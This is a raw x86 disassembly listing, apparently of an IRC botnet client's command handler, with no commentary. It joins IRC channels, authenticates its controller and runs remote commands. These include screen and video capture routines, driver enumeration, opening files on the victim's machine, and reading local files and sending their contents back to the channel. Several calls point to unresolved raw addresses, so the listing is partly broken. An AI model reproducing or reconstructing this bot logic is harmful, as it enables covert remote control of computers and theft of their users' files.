push offset dword_429D00
call sub_4151AC
jmp loc_40351F
; ---------------------------------------------------------------------------
loc_408BEA: ; CODE XREF: sub_401ACD+48A3j
; sub_401ACD+48BAj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A434
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_429CE4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408C57: ; CODE XREF: sub_401ACD+4875j
; sub_401ACD+488Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_429CC4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408CAC: ; CODE XREF: sub_401ACD+4847j
; sub_401ACD+485Ej
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B4
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_429CA4
loc_408CDB: ; CODE XREF: sub_401ACD+5852j
; sub_401ACD+7B2Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40960F
; ---------------------------------------------------------------------------
loc_408CEF: ; CODE XREF: sub_401ACD+4819j
; sub_401ACD+4830j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E1
jmp loc_4040FC
; ---------------------------------------------------------------------------
loc_408D09: ; CODE XREF: sub_401ACD+47DBj
; sub_401ACD+47F0j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409854
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB1
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_429C7C
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408D99: ; CODE XREF: sub_401ACD+726Fj
lea eax, [ebp+var_2C4]
push offset unk_429C4C
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DB1: ; CODE XREF: sub_401ACD+725Aj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_429C30
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DFD: ; CODE XREF: sub_401ACD+47B1j
; sub_401ACD+47C6j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E58
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E45
push edi
call sub_4153BC
cmp eax, 1
pop ecx
jnz short loc_408E3E
push edi
lea eax, [ebp+var_2C4]
push offset unk_429BFC
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E3E: ; CODE XREF: sub_401ACD+7358j
push offset unk_429BCC
jmp short loc_408E4A
; ---------------------------------------------------------------------------
loc_408E45: ; CODE XREF: sub_401ACD+734Cj
push offset unk_429B90
loc_408E4A: ; CODE XREF: sub_401ACD+7376j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E58: ; CODE XREF: sub_401ACD+7341j
; sub_401ACD+736Fj
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE5
xor edi, edi
loc_408E6D: ; CODE XREF: sub_401ACD+7403j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CAFA4
test eax, eax
jz short loc_408ECC
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_429B60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
loc_408ECC: ; CODE XREF: sub_401ACD+73C1j
inc edi
cmp edi, 0Ah
jl short loc_408E6D
lea eax, [ebp+var_2C4]
push offset unk_429B38
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE5: ; CODE XREF: sub_401ACD+739Cj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F86
cmp [ebp+esi+var_88], ebx
jz short loc_408F73
cmp [ebp+esi+var_84], ebx
jz short loc_408F73
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F73
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F73
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F7
add esp, 10h
test eax, eax
jnz short loc_408F6C
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_429B04
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F86
; ---------------------------------------------------------------------------
loc_408F6C: ; CODE XREF: sub_401ACD+7480j
push offset unk_429AD0
jmp short loc_408F78
; ---------------------------------------------------------------------------
loc_408F73: ; CODE XREF: sub_401ACD+7436j
; sub_401ACD+743Fj ...
push offset unk_429A98
loc_408F78: ; CODE XREF: sub_401ACD+74A4j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F86: ; CODE XREF: sub_401ACD+7429j
; sub_401ACD+749Dj
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408759
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901E
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901E
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901E
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901E
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901E
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F0
add esp, 14h
test eax, eax
jnz short loc_409014
push [ebp+arg_1C]
push offset unk_429A64
jmp loc_40874A
; ---------------------------------------------------------------------------
loc_409014: ; CODE XREF: sub_401ACD+7538j
push offset unk_429A24
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_40901E: ; CODE XREF: sub_401ACD+74DCj
; sub_401ACD+74EAj ...
push offset unk_4299E4
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_409028: ; CODE XREF: sub_401ACD+4041j
; sub_401ACD+4056j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409098
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409053: ; CODE XREF: sub_401ACD+75B5j
test eax, eax
jz short loc_409084
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409053
; ---------------------------------------------------------------------------
loc_409084: ; CODE XREF: sub_401ACD+7588j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_4299C0
jmp loc_409226
; ---------------------------------------------------------------------------
loc_409098: ; CODE XREF: sub_401ACD+756Ej
push [ebp+arg_10]
push offset unk_42999C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+4017j
; sub_401ACD+402Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push offset asc_429998 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A50
add esp, 0Ch
test eax, eax
jnz short loc_4090F5
push offset unk_42996C
loc_4090E2: ; CODE XREF: sub_401ACD+754Cj
; sub_401ACD+7556j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_408759
; ---------------------------------------------------------------------------
loc_4090F5: ; CODE XREF: sub_401ACD+760Ej
push esi
lea eax, [ebp+var_2C4]
push offset dword_429954
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_40910F: ; CODE XREF: sub_401ACD+3FEDj
; sub_401ACD+4002j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409854
push eax
call sub_418211
test eax, eax
pop ecx
jnz short loc_40913F
push offset unk_429934
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_40913F: ; CODE XREF: sub_401ACD+7669j
push offset dword_429918
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_409146: ; CODE XREF: sub_401ACD+3FC3j
; sub_401ACD+3FD8j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409177
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409177: ; CODE XREF: sub_401ACD+7696j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_429900
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB5
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40921A
loc_409204: ; CODE XREF: sub_401ACD+774Bj
cmp [ebp+var_1EF4], ebx
jnz loc_406CFF
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_409204
; ---------------------------------------------------------------------------
loc_40921A: ; CODE XREF: sub_401ACD+7735j
call near ptr 2670897h
nop
push eax
push offset unk_4298C0
loc_409226: ; CODE XREF: sub_401ACD+29CEj
; sub_401ACD+75C6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_40923A: ; CODE XREF: sub_401ACD+3F99j
; sub_401ACD+3FAEj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96A
add esp, 10h
push [ebp+arg_10]
push offset dword_4298A8
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj
; sub_401ACD+3F84j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429884
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1A
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_409325: ; CODE XREF: sub_401ACD+786Cj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_409325
; ---------------------------------------------------------------------------
loc_40933B: ; CODE XREF: sub_401ACD+3F45j
; sub_401ACD+3F5Aj
push [ebp+arg_10]
nop
call near ptr 2670237h
test eax, eax
jz short loc_409366
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429868
push 200h
push eax
call sub_41B980
jmp loc_409444
; ---------------------------------------------------------------------------
loc_409366: ; CODE XREF: sub_401ACD+7879j
push offset dword_42A070
call sub_41814C
pop ecx
push eax
jmp loc_403F47
; ---------------------------------------------------------------------------
loc_409377: ; CODE XREF: sub_401ACD+3F1Bj
; sub_401ACD+3F30j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199C9
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409398
push offset unk_429844
jmp short loc_40939D
; ---------------------------------------------------------------------------
loc_409398: ; CODE XREF: sub_401ACD+78C2j
push offset unk_429814
loc_40939D: ; CODE XREF: sub_401ACD+78C9j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D02
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j
; sub_401ACD+3F06j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BC
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FC
push offset unk_4297F4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4093FC: ; CODE XREF: sub_401ACD+7923j
push offset unk_4297C4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_409406: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDCj
mov esi, [ebp+arg_10]
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944C
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_409467
push dword ptr [eax]
loc_409432: ; CODE XREF: sub_401ACD+7998j
push esi
lea eax, [ebp+var_2C4]
push offset unk_4297A4
push eax
call sub_41B886
loc_409444: ; CODE XREF: sub_401ACD+7894j
add esp, 10h
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_40944C: ; CODE XREF: sub_401ACD+794Cj
push esi
call dword_4CAFF8
cmp eax, ebx
jz short loc_409467
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB000
push eax
jmp short loc_409432
; ---------------------------------------------------------------------------
loc_409467: ; CODE XREF: sub_401ACD+7961j
; sub_401ACD+7988j
push offset unk_42977C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_409471: ; CODE XREF: sub_401ACD+3E9Dj
; sub_401ACD+3EB2j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429754
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40948E: ; CODE XREF: sub_401ACD+3E73j
; sub_401ACD+3E88j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
jz short loc_4094B2
push offset unk_429734
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094B2: ; CODE XREF: sub_401ACD+79D9j
push offset unk_429710
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_401ACD+3E49j
; sub_401ACD+3E5Ej
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_4296E8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj
; sub_401ACD+3E34j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408994
; ---------------------------------------------------------------------------
loc_409527: ; CODE XREF: sub_401ACD+3DF5j
; sub_401ACD+3E0Aj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2660F2Dh
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call dword_4CB00C
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEC4[eax]
nop
call near ptr 268090Dh
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43DEC4[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43DCB0[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj
; sub_401ACD+3DE0j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409641
call sub_40B2BF
cmp eax, ebx
jle short loc_4095FC
push eax
push offset unk_4296BC
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_401ACD+7B22j
push offset unk_429694
loc_409601: ; CODE XREF: sub_401ACD+24F9j
; sub_401ACD+2518j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40960F: ; CODE XREF: sub_401ACD+721Dj
cmp [ebp+var_8], ebx
jnz short loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409628: ; CODE XREF: sub_401ACD+6DB4j
call sub_409A72
add esp, 14h
loc_409630: ; CODE XREF: sub_401ACD+26F6j
; sub_401ACD+2721j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409641: ; CODE XREF: sub_401ACD+7B19j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965D: ; CODE XREF: sub_401ACD+7C01j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B231
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409684
push offset unk_429670
jmp short loc_409689
; ---------------------------------------------------------------------------
loc_409684: ; CODE XREF: sub_401ACD+7BAEj
push offset unk_429644
loc_409689: ; CODE XREF: sub_401ACD+7BB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096B9
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965D
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j
; sub_401ACD+3DB6j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset dword_429DB0
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset dword_429628
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409711: ; CODE XREF: sub_401ACD+3D77j
; sub_401ACD+3D8Cj
push [ebp+arg_10]
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429604
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409731: ; CODE XREF: sub_401ACD+3D4Dj
; sub_401ACD+3D62j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_10]
push offset unk_4295E0
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409758: ; CODE XREF: sub_401ACD+3D23j
; sub_401ACD+3D38j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_4295BC
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_401ACD+3163j
; sub_401ACD+3178j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429598
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B2: ; CODE XREF: sub_401ACD+7D33j
push eax
nop
call near ptr 2660F2Dh
loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C0: ; CODE XREF: sub_401ACD+3139j
; sub_401ACD+314Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429570
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B2
; ---------------------------------------------------------------------------
loc_409802: ; CODE XREF: sub_401ACD+EC8j
; sub_401ACD+EDDj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08D
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_42954C
loc_40984D: ; CODE XREF: sub_401ACD+70B4j
; sub_401ACD+778Aj ...
call sub_415220
pop ecx
loc_409853: ; CODE XREF: sub_401ACD+6CB9j
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985C: ; CODE XREF: sub_401ACD+AB5j
; sub_401ACD+AC8j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42CA30 ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CAE2C
push ebx
inc esi
call sub_41C0F4
push offset asc_429548 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_4294C8
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj
mov [ebp+arg_24], offset off_429160
loc_409902: ; CODE XREF: sub_401ACD+7E51j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_409962
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429164
jb short loc_409902
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_429474
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_401ACD+7E44j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409967: ; CODE XREF: sub_401ACD+7EC4j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409987
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409998
loc_409987: ; CODE XREF: sub_401ACD+7EA5j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409967
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409998: ; CODE XREF: sub_401ACD+7EB8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099CF
push ebx
push [ebp+var_4]
push offset unk_429454
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429434
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E0: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
mov dword_4CAE24, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2C proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
leave
retn
sub_409A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
